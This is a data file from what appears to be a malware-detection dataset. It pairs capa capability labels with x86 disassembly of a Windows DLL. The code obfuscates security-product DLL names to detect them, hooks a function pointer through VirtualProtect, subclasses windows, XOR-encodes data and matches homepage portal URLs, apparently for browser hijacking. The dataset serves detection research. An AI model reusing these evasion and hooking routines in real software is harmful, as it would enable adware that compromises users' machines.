joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001136
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov eax, dword [0x1001d054]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, byte [0x1001e110]
push ebx
xor ebx, ebx
cmp al, bl
mov word [ebp - 0x6c], 0x6b
mov word [ebp - 0x6a], 0x65
mov word [ebp - 0x68], 0x72
mov word [ebp - 0x66], 0x6e
mov word [ebp - 0x64], 0x65
mov word [ebp - 0x62], 0x6c
mov word [ebp - 0x60], 0x33
mov word [ebp - 0x5e], 0x32
mov word [ebp - 0x5c], 0x2e
mov word [ebp - 0x5a], 0x64
mov word [ebp - 0x58], 0x6c
mov word [ebp - 0x56], 0x6c
mov word [ebp - 0x54], bx
mov word [ebp - 0x52], bx
mov word [ebp - 0x50], bx
mov word [ebp - 0x4e], bx
mov word [ebp - 0x4c], bx
mov word [ebp - 0x4a], bx
mov word [ebp - 0x48], bx
mov word [ebp - 0x46], bx
mov word [ebp - 0x44], bx
mov word [ebp - 0x42], bx
mov word [ebp - 0x40], bx
mov word [ebp - 0x3e], bx
mov word [ebp - 0x3c], bx
mov word [ebp - 0x3a], bx
mov word [ebp - 0x38], bx
mov word [ebp - 0x36], bx
mov word [ebp - 0x34], bx
mov word [ebp - 0x32], bx
mov word [ebp - 0x30], bx
mov word [ebp - 0x2e], bx
mov word [ebp - 0x2c], bx
mov byte [ebp - 0x28], 0x4d
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x70
mov byte [ebp - 0x25], 0x56
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x77
mov byte [ebp - 0x21], 0x4f
mov byte [ebp - 0x20], 0x66
mov byte [ebp - 0x1f], 0x46
mov byte [ebp - 0x1e], 0x69
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], bl
mov byte [ebp - 0x1a], bl
mov byte [ebp - 0x19], bl
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], bl
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x13], bl
mov byte [ebp - 0x12], bl
mov byte [ebp - 0x11], bl
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xe], bl
mov byte [ebp - 0xd], bl
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], bl
mov byte [ebp - 8], bl
jne 0x1000129c
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
mov dword [0x1001dd1c], eax
je 0x10001295
call fcn.1000c34f
push section..text
push 0x1001dd1c
call fcn.1000c6a6
call fcn.1000c465
mov al, 1
mov byte [0x1001e110], al
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10011f9a
leave
ret
Function at 0x10001cb8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x1001d054]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
cmp byte [0x1001e112], bl
push esi
mov esi, ecx
jne 0x10001dd3
call fcn.100035e5
test al, al
je 0x10001dd3
push esi
call fcn.10003feb
mov esi, eax
cmp esi, ebx
pop ecx
je 0x10001dd3
push edi
push 0xfffffffffffffffc
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov edi, eax
lea eax, [ebp - 0x48]
push edi
push eax
mov word [ebp - 0x48], 0x73
mov word [ebp - 0x46], 0x61
mov word [ebp - 0x44], 0x66
mov word [ebp - 0x42], 0x65
mov word [ebp - 0x40], 0x68
mov word [ebp - 0x3e], 0x6d
mov word [ebp - 0x3c], 0x70
mov word [ebp - 0x3a], 0x67
mov word [ebp - 0x38], 0x2e
mov word [ebp - 0x36], 0x64
mov word [ebp - 0x34], 0x6c
mov word [ebp - 0x32], 0x6c
mov word [ebp - 0x30], bx
mov word [ebp - 0x2e], bx
mov word [ebp - 0x2c], bx
mov word [ebp - 0x2a], bx
mov word [ebp - 0x28], bx
mov word [ebp - 0x26], bx
mov word [ebp - 0x24], bx
mov word [ebp - 0x22], bx
mov word [ebp - 0x20], bx
mov word [ebp - 0x1e], bx
mov word [ebp - 0x1c], bx
mov word [ebp - 0x1a], bx
mov word [ebp - 0x18], bx
mov word [ebp - 0x16], bx
mov word [ebp - 0x14], bx
mov word [ebp - 0x12], bx
mov word [ebp - 0x10], bx
mov word [ebp - 0xe], bx
mov word [ebp - 0xc], bx
mov word [ebp - 0xa], bx
mov word [ebp - 8], bx
call fcn.10002d0a
test eax, eax
pop ecx
pop ecx
je 0x10001dd2
push edi
push str.09AFA251_1EDB_4bde_A996_389DC36DAEF9
push esi
call dword [sym.imp.USER32.dll_SetPropW]
push 0x10001c7b
push 0xfffffffffffffffc
push esi
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov byte [0x1001e112], 1
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10011f9a
leave
ret

Function at 0x10001e84
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push 0xc
push 0x100197a0
call fcn.100125c0
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp byte [0x1001d510], cl
je 0x10001ef1
cmp eax, ecx
je 0x10001ef1
mov byte [0x1001d510], cl
mov dword [ebp - 4], ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x1c], ecx
lea esi, [eax + 0xc]
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 4
push esi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
test eax, eax
je 0x10001eea
mov eax, dword [esi]
mov dword [0x1001dd24], eax
mov dword [esi], 0x10001e19
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x1c]
push 4
push esi
call edi
jmp 0x10001eea
mov dword [ebp - 4], 0xfffffffe
call fcn.10012605
ret
Function at 0x10002494
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [esi]
and dword [esi], 0
add eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push 0
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100024f7
cmp dword [ebp + 0xc], 1
je 0x100024d0
cmp dword [ebp + 0xc], 2
je 0x100024d0
push 0xd
pop eax
jmp 0x100024f7
test edi, edi
mov eax, dword [ebp - 4]
je 0x100024f1
test eax, eax
je 0x100024ed
test al, 1
jne 0x100024cb
mov ecx, eax
shr ecx, 1
cmp word [edi + ecx*2 - 2], 0
je 0x100024f1
jmp 0x100024cb
and word [edi], 0
shr eax, 1
mov dword [esi], eax
xor eax, eax
leave
ret 8

Function at 0x10002926
Capabilities:
Get file version info

Disassembly:
push 0x228
push 0x100194f8
call fcn.10012ab0
mov eax, dword [0x1001e13c]
xor edi, edi
cmp eax, edi
jne 0x10002a2d
push 0x10015860
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
mov word [ebp - 0x228], di
push 0x208
push edi
lea eax, [ebp - 0x226]
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
cmp esi, edi
je 0x10002a28
push 0x104
lea eax, [ebp - 0x228]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x228]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
cmp esi, edi
jne 0x100029a8
xor eax, eax
jmp 0x10002a2d
push esi
call fcn.10011f8a
pop ecx
mov ebx, eax
mov dword [ebp - 0x22c], ebx
cmp ebx, edi
je 0x10002a28
push esi
push edi
push ebx
call sub.MSVCR80.dll_memset
add esp, 0xc
mov dword [ebp - 4], edi
push ebx
push esi
push dword [ebp - 0x234]
lea eax, [ebp - 0x228]
push eax
call sub.VERSION.dll_GetFileVersionInfoW
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x230]
push eax
push 0x10015828
push ebx
call sub.VERSION.dll_VerQueryValueW
mov eax, dword [ebp - 0x230]
movzx eax, word [eax + 0xa]
mov dword [0x1001e13c], eax
jmp 0x10002a15
mov dword [ebp - 4], 0xfffffffe
push dword [ebp - 0x22c]
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
pop ecx
mov eax, dword [0x1001e13c]
call fcn.10012af8
ret
Function at 0x10002be8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x1001d054]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
cmp dword [0x1001e144], ebx
je 0x10002c0d
xor eax, eax
jmp 0x10002cfd
push esi
push edi
push 0x16
pop ecx
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea edi, [ebp - 0x160]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x164]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x160]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
movsw word es:[edi], word [esi]
mov dword [ebp - 0x164], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
pop edi
pop esi
jne 0x10002cf2
cmp dword [ebp - 0x164], ebx
je 0x10002cf2
push 0xfe
lea eax, [ebp - 0x102]
push ebx
push eax
mov word [ebp - 0x104], bx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x104]
push eax
push ebx
push ebx
push 0x1001595c
push dword [ebp - 0x164]
mov dword [ebp - 0x168], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10002ce6
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.MSVCR80.dll_wcslen]
inc eax
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.MSVCR80.dll__wcslwr_s]
lea eax, [ebp - 0x104]
push str.2008
push eax
call dword [sym.imp.MSVCR80.dll_wcsstr]
add esp, 0x14
test eax, eax
jne 0x10002ce6
mov dword [0x1001e144], 1
push dword [ebp - 0x164]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [0x1001e144], ebx
sete al
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10011f9a
leave
ret

Function at 0x10003278
Capabilities:
Access peb ldr_data

Disassembly:
push 0x10
push 0x100194b0
call fcn.100125c0
and dword [ebp - 0x1c], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0x1c], eax
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0xc]
mov esi, edi
mov dword [ebp - 0x20], esi
mov eax, dword [esi + 0x28]
test eax, eax
je 0x100032ef
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push dword [ebp + 8]
push eax
call dword [sym.imp.MSVCR80.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
jne 0x100032dd
mov eax, dword [esi + 0x18]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov eax, dword [esi + 0x20]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
inc eax
jmp 0x100032f8
mov esi, dword [esi]
mov dword [ebp - 0x20], esi
cmp edi, esi
jne 0x100032a3
jmp 0x100032ef
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
call fcn.10012605
ret
Function at 0x100032fe
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x1001d054]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, ecx
cmp dword [esi + 0x18], 8
push edi
mov dword [ebp - 0x224], eax
lea edi, [esi + 4]
jb 0x1000332c
mov eax, dword [edi]
jmp 0x1000332e
mov eax, edi
xor ebx, ebx
push ebx
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeW
cmp eax, ebx
mov dword [ebp - 0x214], eax
jne 0x10003352
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10011f9a
leave
ret
push eax
call dword [sym.imp.MSVCR80.dll_malloc]
cmp eax, ebx
pop ecx
mov dword [ebp - 0x218], eax
je 0x10003341
cmp dword [esi + 0x18], 8
jb 0x1000336c
mov edi, dword [edi]
push eax
push dword [ebp - 0x214]
push ebx
push edi
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
jne 0x1000338f
push dword [ebp - 0x218]
call dword [sym.imp.MSVCR80.dll_free]
pop ecx
mov eax, ebx
jmp 0x10003343
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x220]
push eax
push str.VarFileInfoTranslation
push dword [ebp - 0x218]
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x21c], ebx
call sub.VERSION.dll_VerQueryValueW
mov ebx, eax
xor esi, esi
cmp ebx, esi
je 0x1000337e
mov edi, dword [ebp - 0x21c]
push 0x208
lea eax, [ebp - 0x20e]
push esi
push eax
shr edi, 2
mov word [ebp - 0x210], si
call sub.MSVCR80.dll_memset
add esp, 0xc
test edi, edi
jbe 0x1000337e
mov eax, dword [ebp - 0x220]
and dword [ebp - 0x214], 0
lea eax, [eax + esi*4]
movzx ecx, word [eax + 2]
movzx eax, word [eax]
push ecx
push eax
push str.StringFileInfo_04x_04xCompanyName
push 0xffffffffffffffff
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.MSVCR80.dll__snwprintf_s]
add esp, 0x18
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x218]
call sub.VERSION.dll_VerQueryValueW
mov ebx, eax
test ebx, ebx
je 0x1000344e
cmp dword [ebp - 0x214], 0
jne 0x10003458
inc esi
cmp esi, edi
jb 0x100033ea
jmp 0x1000337e
push dword [ebp - 0x214]
mov ecx, dword [ebp - 0x224]
call dword [0x100151d0]
xor ebx, ebx
inc ebx
jmp 0x1000337e
Function at 0x10003472
Capabilities:
Check if file exists
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x1001d054]
xor eax, ebp
mov dword [ebp - 4], eax
and word [ebp - 0x20c], 0
push esi
push edi
push 0x206
lea eax, [ebp - 0x20a]
push 0
xor edi, edi
push eax
inc edi
call sub.MSVCR80.dll_memset
add esp, 0xc
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push eax
push 0x10015af4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExW
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push 0xffffffffffffffff
push str.QMHMPG.ini
lea eax, [ebp - 0x20c]
push esi
push eax
call dword [sym.imp.MSVCR80.dll_wcsncat_s]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1000351a
lea eax, [ebp - 0x20c]
push eax
push edi
mov eax, str.switch
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov edi, eax
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.10011f9a
leave
ret

Function at 0x1000352a
Capabilities:
Check if file exists
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x1001d054]
xor eax, ebp
mov dword [ebp - 4], eax
and word [ebp - 0x20c], 0
push esi
push edi
push 0x206
lea eax, [ebp - 0x20a]
push 0
xor edi, edi
push eax
inc edi
call sub.MSVCR80.dll_memset
add esp, 0xc
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push eax
push 0x10015af4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExW
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push 0xffffffffffffffff
push str.QMHMPG.ini
lea eax, [ebp - 0x20c]
push esi
push eax
call dword [sym.imp.MSVCR80.dll_wcsncat_s]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x100035d5
lea eax, [ebp - 0x20c]
push eax
push edi
push str.lockS
push str.switch
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov edi, eax
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.10011f9a
leave
ret
Function at 0x100035e5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x1001d054]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x4c], eax
mov word [ebp - 0x30], ax
mov word [ebp - 0x2e], ax
mov word [ebp - 0x2c], ax
mov word [ebp - 0x2a], ax
mov word [ebp - 0x28], ax
mov word [ebp - 0x26], ax
mov word [ebp - 0x24], ax
mov word [ebp - 0x22], ax
mov word [ebp - 0x20], ax
mov word [ebp - 0x1e], ax
mov word [ebp - 0x1c], ax
mov word [ebp - 0x1a], ax
mov word [ebp - 0x18], ax
mov word [ebp - 0x16], ax
mov word [ebp - 0x14], ax
mov word [ebp - 0x12], ax
mov word [ebp - 0x10], ax
mov word [ebp - 0xe], ax
mov word [ebp - 0xc], ax
mov word [ebp - 0xa], ax
mov word [ebp - 8], ax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
mov word [ebp - 0x48], 0x73
mov word [ebp - 0x46], 0x61
mov word [ebp - 0x44], 0x66
mov word [ebp - 0x42], 0x65
mov word [ebp - 0x40], 0x68
mov word [ebp - 0x3e], 0x6d
mov word [ebp - 0x3c], 0x70
mov word [ebp - 0x3a], 0x67
mov word [ebp - 0x38], 0x2e
mov word [ebp - 0x36], 0x64
mov word [ebp - 0x34], 0x6c
mov word [ebp - 0x32], 0x6c
call fcn.10003278
mov ecx, dword [ebp - 4]
add esp, 0xc
dec eax
neg eax
sbb al, al
xor ecx, ebp
inc al
call fcn.10011f9a
leave
ret
Function at 0x100036bd
Capabilities:
Check if file exists
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov eax, dword [0x1001d054]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
cmp byte [0x1001d56e], bl
je 0x10003899
lea eax, [ebp - 0x254]
push eax
push 0x20019
push ebx
push str.SOFTWARERuanMeiPCMaster
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x258], ebx
mov dword [ebp - 0x254], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x100037ab
mov eax, dword [ebp - 0x254]
push esi
push edi
push 0x206
mov dword [ebp - 0x258], eax
lea eax, [ebp - 0x24e]
push ebx
push eax
mov word [ebp - 0x250], bx
call sub.MSVCR80.dll_memset
add esp, 0xc
push str.Install_Dir
lea eax, [ebp - 0x258]
push eax
lea esi, [ebp - 0x25c]
lea edi, [ebp - 0x250]
mov dword [ebp - 0x25c], 0x104
call fcn.10002494
test eax, eax
pop edi
pop esi
jne 0x10003791
push str.pcmaster.exe
lea eax, [ebp - 0x250]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x250]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x10003791
mov byte [0x1001e114], 1
cmp dword [ebp - 0x254], ebx
je 0x100037ab
push dword [ebp - 0x254]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x258], ebx
cmp byte [0x1001e114], bl
jne 0x1000387f
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x25c], ebx
mov word [ebp - 0x48], 0x77
mov word [ebp - 0x46], 0x69
mov word [ebp - 0x44], 0x6e
mov word [ebp - 0x42], 0x67
mov word [ebp - 0x40], 0x75
mov word [ebp - 0x3e], 0x61
mov word [ebp - 0x3c], 0x72
mov word [ebp - 0x3a], 0x64
mov word [ebp - 0x38], 0x2e
mov word [ebp - 0x36], 0x64
mov word [ebp - 0x34], 0x6c
mov word [ebp - 0x32], 0x6c
mov word [ebp - 0x30], bx
mov word [ebp - 0x2e], bx
mov word [ebp - 0x2c], bx
mov word [ebp - 0x2a], bx
mov word [ebp - 0x28], bx
mov word [ebp - 0x26], bx
mov word [ebp - 0x24], bx
mov word [ebp - 0x22], bx
mov word [ebp - 0x20], bx
mov word [ebp - 0x1e], bx
mov word [ebp - 0x1c], bx
mov word [ebp - 0x1a], bx
mov word [ebp - 0x18], bx
mov word [ebp - 0x16], bx
mov word [ebp - 0x14], bx
mov word [ebp - 0x12], bx
mov word [ebp - 0x10], bx
mov word [ebp - 0xe], bx
mov word [ebp - 0xc], bx
mov word [ebp - 0xa], bx
mov word [ebp - 8], bx
call fcn.10003278
add esp, 0xc
dec eax
neg eax
sbb al, al
inc al
mov byte [0x1001e114], al
cmp dword [ebp - 0x258], ebx
mov byte [0x1001d56e], bl
je 0x10003899
push dword [ebp - 0x258]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov al, byte [0x1001e114]
xor ecx, ebp
pop ebx
call fcn.10011f9a
leave
ret
Function at 0x100038ab
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
mov eax, dword [0x1001d054]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push 0x6c
pop eax
mov word [ebp - 0x38], ax
mov word [ebp - 0x36], ax
mov word [ebp - 0x7c], ax
mov word [ebp - 0x7a], ax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x90], ebx
mov word [ebp - 0x48], 0x6b
mov word [ebp - 0x46], 0x73
mov word [ebp - 0x44], 0x68
mov word [ebp - 0x42], 0x6d
mov word [ebp - 0x40], 0x70
mov word [ebp - 0x3e], 0x67
mov word [ebp - 0x3c], 0x2e
mov word [ebp - 0x3a], 0x64
mov word [ebp - 0x34], bx
mov word [ebp - 0x32], bx
mov word [ebp - 0x30], bx
mov word [ebp - 0x2e], bx
mov word [ebp - 0x2c], bx
mov word [ebp - 0x2a], bx
mov word [ebp - 0x28], bx
mov word [ebp - 0x26], bx
mov word [ebp - 0x24], bx
mov word [ebp - 0x22], bx
mov word [ebp - 0x20], bx
mov word [ebp - 0x1e], bx
mov word [ebp - 0x1c], bx
mov word [ebp - 0x1a], bx
mov word [ebp - 0x18], bx
mov word [ebp - 0x16], bx
mov word [ebp - 0x14], bx
mov word [ebp - 0x12], bx
mov word [ebp - 0x10], bx
mov word [ebp - 0xe], bx
mov word [ebp - 0xc], bx
mov word [ebp - 0xa], bx
mov word [ebp - 8], bx
mov word [ebp - 0x8c], 0x64
mov word [ebp - 0x8a], 0x67
mov word [ebp - 0x88], 0x68
mov word [ebp - 0x86], 0x6d
mov word [ebp - 0x84], 0x70
mov word [ebp - 0x82], 0x67
mov word [ebp - 0x80], 0x2e
mov word [ebp - 0x7e], 0x64
mov word [ebp - 0x78], bx
mov word [ebp - 0x76], bx
mov word [ebp - 0x74], bx
mov word [ebp - 0x72], bx
mov word [ebp - 0x70], bx
mov word [ebp - 0x6e], bx
mov word [ebp - 0x6c], bx
mov word [ebp - 0x6a], bx
mov word [ebp - 0x68], bx
mov word [ebp - 0x66], bx
mov word [ebp - 0x64], bx
mov word [ebp - 0x62], bx
mov word [ebp - 0x60], bx
mov word [ebp - 0x5e], bx
mov word [ebp - 0x5c], bx
mov word [ebp - 0x5a], bx
mov word [ebp - 0x58], bx
mov word [ebp - 0x56], bx
mov word [ebp - 0x54], bx
mov word [ebp - 0x52], bx
mov word [ebp - 0x50], bx
mov word [ebp - 0x4e], bx
mov word [ebp - 0x4c], bx
call fcn.10003278
add esp, 0xc
cmp eax, 1
je 0x10003a49
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x8c]
push eax
call fcn.10003278
add esp, 0xc
cmp eax, 1
je 0x10003a49
xor al, al
jmp 0x10003a4b
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10011f9a
leave
ret

Function at 0x10003ba4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp edx, esi
mov dword [ebp - 4], 0x5151504d
je 0x10003bd1
xor ecx, ecx
cmp dword [ebp + 8], esi
jbe 0x10003bd1
mov esi, dword [ebp + 8]
mov eax, ecx
and eax, 3
mov al, byte [ebp + eax - 4]
xor byte [ecx + edx], al
inc ecx
cmp ecx, esi
jb 0x10003bc0
mov eax, esi
pop esi
leave
ret
Function at 0x10003d25
Capabilities:
Check if file exists
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x1001d054]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
push 0x206
lea eax, [ebp - 0x20a]
push edi
push eax
mov word [ebp - 0x20c], di
call sub.MSVCR80.dll_memset
add esp, 0xc
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push eax
push 0x10015af4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExW
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push 0xffffffffffffffff
push str.QMHMPG.ini
lea eax, [ebp - 0x20c]
push esi
push eax
call dword [sym.imp.MSVCR80.dll_wcsncat_s]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x10003dcd
lea eax, [ebp - 0x20c]
push eax
push edi
push str.index
push str.switch
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov edi, eax
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.10011f9a
leave
ret

Function at 0x10003ee9
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x40
push esi
push edi
mov esi, eax
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::clear_void_]
mov edi, dword [esi + 0x14]
test edi, edi
jne 0x10003f0a
xor al, al
jmp 0x10003fe7
push ebx
xor ecx, ecx
push 2
pop edx
mov eax, edi
mul edx
seto cl
mov byte [ebp - 1], 0
neg ecx
or ecx, eax
push ecx
call fcn.10011f8a
mov ebx, eax
test ebx, ebx
pop ecx
je 0x10003fe3
push 0x3c
lea eax, [ebp - 0x40]
push 0
push eax
call sub.MSVCR80.dll_memset
xor eax, eax
add esp, 0xc
cmp dword [esi + 0x18], 8
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
jb 0x10003f60
mov esi, dword [esi + 4]
jmp 0x10003f63
add esi, 4
lea ecx, [ebp - 0x40]
push ecx
push eax
push edi
push esi
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x10003fdc
mov esi, dword [sym.imp.MSVCR80.dll__wcsicmp]
push str.hao.qq.com
push ebx
call esi
test eax, eax
pop ecx
pop ecx
je 0x10003fce
push str.www.duba.com
push ebx
call esi
test eax, eax
pop ecx
pop ecx
je 0x10003fce
push str.123.sogou.com
push ebx
call esi
test eax, eax
pop ecx
pop ecx
je 0x10003fce
push str.www.2345.com
push ebx
call esi
test eax, eax
pop ecx
pop ecx
je 0x10003fce
push str.www.hao123.com
push ebx
call esi
test eax, eax
pop ecx
pop ecx
je 0x10003fce
push str.www.baidu.com
push ebx
call esi
test eax, eax
pop ecx
pop ecx
jne 0x10003fdc
mov ecx, dword [ebp + 8]
push ebx
mov byte [ebp - 1], 1
call dword [0x100151d0]
push ebx
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
pop ecx
mov al, byte [ebp - 1]
pop ebx
pop edi
pop esi
leave
ret